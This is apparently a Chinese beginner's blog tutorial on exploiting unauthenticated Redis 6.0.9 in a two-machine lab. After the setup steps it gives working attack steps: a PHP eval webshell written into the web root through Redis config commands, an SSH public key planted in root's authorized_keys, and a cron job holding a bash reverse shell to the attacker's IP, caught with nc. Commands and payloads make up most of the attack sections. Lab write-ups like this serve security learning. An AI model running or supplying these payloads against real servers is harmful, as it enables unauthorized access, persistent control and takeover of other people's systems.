本文章基于Redis6.0.9版本,力求将Redis未授权访问讲的通俗易懂。
对很多POC都做了详细注解,希望做到新手友好。
博主在复现中遇到了很多小坑,在文章对应位置做了一一注解,并加粗表示,希望能给大家带来帮助。
简单来说,Redis是一个非关系型数据库。其具有以下特点:
非关系型数据库
基于内存运行,性能高
基于key-value存储
广泛应用于缓存系统,计数器等
主要介绍我们能用到的一些常见命令,大致包括以下方面:
连接Redis
配置参数
增删改查
远程连接服务器,若无密码则无需'-a'参数
> redis-cli -h target_ip -p port -a password
主要需要关注写入的目录,写入的文件名。只有控制了这两点,才能够任意写入文件getshell。Redis动态配置参数只影响当前运行的Redis实例,重启后失效。
设置写入目录:
> config set dir /path/path2
设置写入文件名:
> config set dbfilename your_filename
增与改通常用set来实现:
> set key value
查--get:
> get key
删:
删除全部数据命令
> flushall
保存:
因为Redis将数据都存储在内存中,容易丢失,所以需要保存来将数据保存到硬盘当中。
> save
需要两台机器,一台作为攻击者,一台作为被攻击者。
攻击者:kali,IP:192.168.234.135
靶机:kali,IP:192.168.234.143
两台机器搭建redis环境的过程相同。具体过程如下。
下载解压redis并进入./redis-6.0.9目录下make
命令
wget https://download.redis.io/releases/redis-6.0.9.tar.gz
修改配置文件
配置文件在 redis-6.0.9的目录下而非./src下。
需要修改三处,分别是protected_mode yes改为no,bind 127.0.0.1注释掉,daemonize no改为yes。可以使用vim查找功能进行查找修改,上述三个部分在redis.conf文件非注释部分中均只出现一次,应该不会改错。
启动redis服务端。
需要注意的是,启动redis-server时,一定要使用绝对/相对路径,不要直接redis-server!!!否则可能启动的是系统自带的版本。
使用redis客户端访问访问目标机器。注意:目标机器的防火墙应该开放6379端口或者关闭防火墙。
这样就说明基本的环境已经搭建好了。
Redis未授权访问在某种程度上不能称之为漏洞,更倾向于用户配置不当。因为Redis服务端默认没有密码,当其配置在外网中时,就很容易被攻击者未授权访问利用,最后getshell。
访问Redis的指令为
redis-cli -h target_ip -p port
如果没有密码,便能轻易进入。之后主要有四种getshell和持久访问控制的利用方法:
WebShell
SSH公钥连接
计划任务
主从复制(4.x,5.x版本)
下面主要对前三种更通用的方式一一进行详细介绍。
基本原理:WebShell方式的前提是,目标存在可供访问的网站。通过Redis将payload写入网站对应的目录下,之后使用蚁剑等工具进行连接,便可以getshell。
payload的php常见形式如下:
<?php @eval($_POST['cmd']);?>
复现流程:
首先连接上服务器端的Redis。前提是服务器端的Redis并未设置密码(默认未设置)。
将webshell的payload写入对应网站的目录。因为靶机的网站是用小皮面板搭建的,所以目录为/xp/www/192.168.234.143
,文件名应该为可解析文件,此处使用php作为演示。
写入payload
注意,payload前后加入'\n'换行符,以保证命令能够正常执行,不被前后文干扰。注意,字符串应该使用双引号引起来,而非单引号,否则将不会解释转义序列。
可以看到,网站后台已经成功上传了文件。
连接
使用蚁剑连接
连接成功
SSH连接提供了一个无需密码的便捷方式,那就是公私钥。通过非对称加密的方式,连接方持有自己的私钥,被连接端持有连接方的公钥。在进行连接时,服务器向客户端发送一个挑战/会话数据 → 客户端用私钥生成签名 → 服务器使用公钥验证签名 → 验证通过则登录成功。
被连接方公钥存储位置为:
/root/.ssh/authorized_keys
公钥私钥的生成
$ ssh-keygen <== 建立密钥对,之后一直回车即可
公钥私钥的存储路径为:
~/.ssh/id_rsa //私钥
~/.ssh/id_rsa.pub //公钥
ssh登录指令为
$ ssh target_ip
使用ssh-keygen生成公钥/私钥
可以看到公钥/私钥保存到了/root/.ssh中。
将公钥存储到靶机上
这里可以将公钥id_ed25519.pub复制粘贴后set值,也可以像下面这个命令:
(echo -e "\n\n"; cat id_ed25519.pub; echo -e "\n\n") | redis-cli -h 192.168.234.143 -p 6379 -x set payload
//注释:
//(...)表示,括号内的多条命令放到子shell中,子shell的标准输出合并为一个流。
// echo -e表示解释反斜杠转义序列,将\n当作换行符
// redis-cli -x set xxx表示赋值
3. 登录即可
可以看到,登陆后的IP为192.168.234.143,为靶机的IP,说明免密登录成功。
在实际渗透过程中,有时候会出现IP变动等导致我们无法正向连接的情况。为了保证我们能够持久化控制靶机,需要用到定时计划任务配合反弹Shell来实现持久控制。
cron介绍
cron是Linux实现定时计划任务的进程。我们常常使用crontab命令来操作计划任务。
crontab -l //列出计划任务
crontab -e //编辑工作表
crontab -r //删除工作
cron的相关目录介绍
/var/spool/cron/ 目录下存放是用户的crontab任务,每个任务为以创建者的名字命名的文件
例如root的计划任务文件为/var/spool/cron/root
cron命令
cron命令精度不高,一般只能按分钟执行,命令格式如下:
* * * * * command
分 时 日 月 周 命令
常见命令有
* * * * * sh test.sh //每分钟执行一次test.sh
1,10 9-12 * * * sh test.sh //在每天的9至12点的第1,10分钟执行一次test.sh
反弹shell
我们之前的WebShell和ssh登录,都是攻击者主动去连接靶机,从而获得靶机的shell。反弹shell,顾名思义,是让靶机主动的将自己的shell传给攻击者。好处是不需要靶机的IP,且对于不可主动连接靶机的情况也适用(不是指一开始渗透时,而是指持久化控制过程)。
反弹shell payload,以bash为例:
bash -i >& /dev/tcp/your_ip/port 0>&1
这里的'-i'表示交互式,>&表示重定向,左半部分表示将标准输出和标准错误重定向到 '/dev/tcp/your_ip/port'中,右半部分表示将标准输入定向到标准输出当前指向的网络连接。
第一个前提老生常谈,就是Redis没有密码,这才叫未授权。
第二个前提就是靶机必须为CentOS系统,原因有以下几点:
Ubuntu的计划任务对语法要求严格,Redis写入含有冗余字节,会导致执行错误。
Ubuntu默认使用dash而非bash,使用bash反弹shell不可行。
Ubuntu计划任务要求文件权限为600,Redis写入文件权限默认为644.
在攻击机上打开监听
$ nc -lvp 6677
2. 写入反弹shell
反弹shell为
* * * * * bash -i >& /dev/tcp/192.168.234.135/6677 0>&1
3. 反弹shell成功
等一会儿,在监听端口发现反弹shell成功,已经成功连接到靶机了。但是会发现执行ip a
等命令时可能提示找不到命令,这是因为反弹shell的环境变量PATH不完整。可以使用绝对路径来执行。
使用ifconfig,发现IP为192.168.234.134,证明成功getshell。